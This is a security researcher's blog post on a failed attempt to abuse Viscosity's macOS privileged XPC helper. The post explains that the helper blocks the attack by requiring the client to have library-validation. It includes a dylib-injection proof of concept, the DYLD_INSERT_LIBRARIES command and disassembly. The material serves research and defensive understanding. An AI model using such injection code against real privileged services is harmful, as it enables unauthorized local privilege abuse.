I’m still waiting for some bug fixes to release the previously planned posts, and in the meantime I continue to poke at other PrivilegedHelperTools. This post born because I actually failed to exploit an XPC service, and I learned something new in regards, of how to securely write such a service. One application that came to my sight is Viscosity. This tool was already in Tyler Bohan’s list, where his team looked on exploiting such services: GitHub - blankwall/Offensive-Con: Talk and materials for Offensive Con presentation - Privileged Helper Tools. I still thought that I will give it a try, because many times, fixes are not properly done, and you can reexploit the bugs.
I went through the typical cycles, checks I used to, in order to see if I can abuse the XPC service.
Is the client protected against injection?
% codesign -dv --entitlements :- /Applications/Viscosity.app
Executable=/Applications/Viscosity.app/Contents/MacOS/Viscosity
Identifier=com.viscosityvpn.Viscosity
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20500 size=45670 flags=0x12000(library-validation,runtime) hashes=1420+3 location=embedded
Signature size=9053
Timestamp=2020. Jan 13. 4:46:48
Info.plist entries=35
TeamIdentifier=34XR7GXFPX
Runtime Version=10.15.0
Sealed Resources version=2 rules=13 files=762
Internal requirements count=1 size=220
Sure it is! Nice!
That was the easy part, let’s load the XPC server component into Hopper, and take a look at the shouldAcceptNewConnection
function.
Is the XPC service verifies the client based on the auth token and not the PID? Yes! Nice, as this is not frequently seen.
if ([r12 codeSignatureIsValidForAuditToken:@selector(auditToken)] != 0x0) {
Is the code signature properly verified?
rax = SecRequirementCreateWithString(@"anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = \"34XR7GXFPX\"", 0x0, &var_58);
Yes and no - everything looks good, except that the client version is not verified, which means that if I would find an old client, to which I can inject I can talk to the service. I was wrong.
So I downloaded an older version of Viscosity, specifically 1.6.8, as we can see it doesn’t have hardened runtime, and nothing else, which means that we can inject our own dylib.
% codesign -dv Viscosity.app
Executable=/Users/csaby/Documents/dev/exploit/_old_my/noluck_Viscosity_privhelper/Viscosity.app/Contents/MacOS/Viscosity
Identifier=com.viscosityvpn.Viscosity
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=5114 flags=0x0(none) hashes=154+3 location=embedded
Signature size=4651
Signed Time=2017. Jan 16. 21:39:25
Info.plist entries=35
TeamIdentifier=34XR7GXFPX
Sealed Resources version=2 rules=13 files=477
Internal requirements count=1 size=220
I wrote a small POC:
#import <Foundation/Foundation.h>
static NSString* XPCHelperMachServiceName = @"com.sparklabs.ViscosityHelper";
@protocol SLViscosityIPCXPCProtocol
- (void)message:(NSDictionary *)arg1 withReply:(void (^)(NSDictionary *))arg2;
@end
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
NSDictionary *dict = [NSDictionary dictionaryWithObjectsAndKeys: @"resetNetwork",@"command", nil];
NSString* _serviceName = XPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(SLViscosityIPCXPCProtocol)]];
[_agentConnection resume];
id obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
(void)error;
NSLog(@"Connection Failure");
}];
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", _agentConnection);
[obj message:dict withReply:^(NSDictionary * dic){
NSLog(@"Reply, %@", dic);
}];
}
and I tried to connect:
% DYLD_INSERT_LIBRARIES=main.dylib ./Viscosity.app/Contents/MacOS/Viscosity
2020-03-22 14:03:27.214 Viscosity[5026:207265] obj: <__NSXPCInterfaceProxy_SLViscosityIPCXPCProtocol: 0x7f926c500d60>
2020-03-22 14:03:27.214 Viscosity[5026:207265] conn: <NSXPCConnection: 0x7f926c40b1f0> connection to service on pid 0 named com.sparklabs.ViscosityHelper
2020-03-22 14:03:27.383 Viscosity[5026:207275] Connection Failure
and as you can see I got a failure, which was weird, as I really expected the connection to work.
Looking at the logs I could see that there was an error with the code signing check:
default 14:03:27.383645+0100 com.sparklabs.ViscosityHelper SecCodeCopySigningInformation() csFlags error
The CSFLAG related error is already alarming, and looking up the error in Hopper I arrived to the following location:
loc_10000f20e:
var_50 = 0x0;
rax = SecCodeCopySigningInformation(0x0, 0x8, &var_50);
(...)
loc_10000f276:
rdx = **_kSecCodeInfoStatus;
rax = [var_50 objectForKeyedSubscript:rdx];
rax = [rax retain];
[rax intValue];
[rax release];
CFRelease(var_50);
if (!COND) {
rbx = 0x0;
NSLog(@"SecCodeCopySigningInformation() csFlags error");
}
The service retrieves the CS flags of the connecting process, which will be in kSecCodeInfoStatus
. Hopper didn’t reveal for me what is COND
, so I took a look at the assembly:
loc_10000f276:
mov rdi, qword [rbp+var_50] ; argument "instance" for method _objc_msgSend, CODE XREF=-[SLViscosityIPCServer codeSignatureIsValidForAuditToken:]+240
mov rax, qword [_kSecCodeInfoStatus_10008d0f8] ; _kSecCodeInfoStatus_10008d0f8
mov rdx, qword [rax]
mov rsi, qword [0x1000a1578] ; argument "selector" for method _objc_msgSend, @selector(objectForKeyedSubscript:)
call r12 ; Jumps to 0x1000e6780 (_objc_msgSend), _objc_msgSend
mov rdi, rax ; argument "instance" for method imp___stubs__objc_retainAutoreleasedReturnValue
call imp___stubs__objc_retainAutoreleasedReturnValue ; objc_retainAutoreleasedReturnValue
mov r15, rax
mov rsi, qword [0x1000a1368] ; argument "selector" for method _objc_msgSend, @selector(intValue)
mov rdi, rax ; argument "instance" for method _objc_msgSend
call r12 ; Jumps to 0x1000e6780 (_objc_msgSend), _objc_msgSend
mov r12d, eax
mov rdi, r15 ; argument "instance" for method _objc_release
call qword [_objc_release_10008d118] ; _objc_release, _objc_release_10008d118,_objc_release
mov rdi, qword [rbp+var_50] ; argument "cf" for method imp___stubs__CFRelease
call imp___stubs__CFRelease ; CFRelease
bt r12d, 0xd
jb loc_10000f2d7
The test is done here:
bt r12d, 0xd
jb loc_10000f2d7
This will do a Bit Test operation, checking the 13th bit we get earlier for the CS flags. It’s done by moving the specified bit to the CF (carry) flag. The 13th bit means 0x2000
in hex, which is equal for library-validation
. This means that if it’s set (jb
assembly will verify the CF flag, and jump if set), it will proceed with the regular code signing check:
loc_10000f2d7:
mov rdi, qword [rbp+var_48] ; argument "code" for method imp___stubs__SecCodeCheckValidityWithErrors, CODE XREF=-[SLViscosityIPCServer codeSignatureIsValidForAuditToken:]+391
mov rdx, qword [rbp+var_58] ; argument "requirement" for method imp___stubs__SecCodeCheckValidityWithErrors
xor esi, esi ; argument "flags" for method imp___stubs__SecCodeCheckValidityWithErrors
xor ecx, ecx ; argument "errors" for method imp___stubs__SecCodeCheckValidityWithErrors
call imp___stubs__SecCodeCheckValidityWithErrors ; SecCodeCheckValidityWithErrors
mov r15d, eax
mov rdi, qword [rbp+var_48]
test rdi, rdi
je loc_10000f2f9
It means that our client has to have library-validation
set, which will involve that we can’t do DYLIB injection into the client, as I discussed this here before: DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX · theevilbit blog.
I didn’t know that it’s possible, and it’s a very good way to actually verify the client. Normally I said that we need to ensure that the client is a new version, where we know that it’s already hardened, but this is also a very good way.
I found after this, that this idea is explained in LittleSnitch’s blog as well: The Story Behind CVE-2019-13013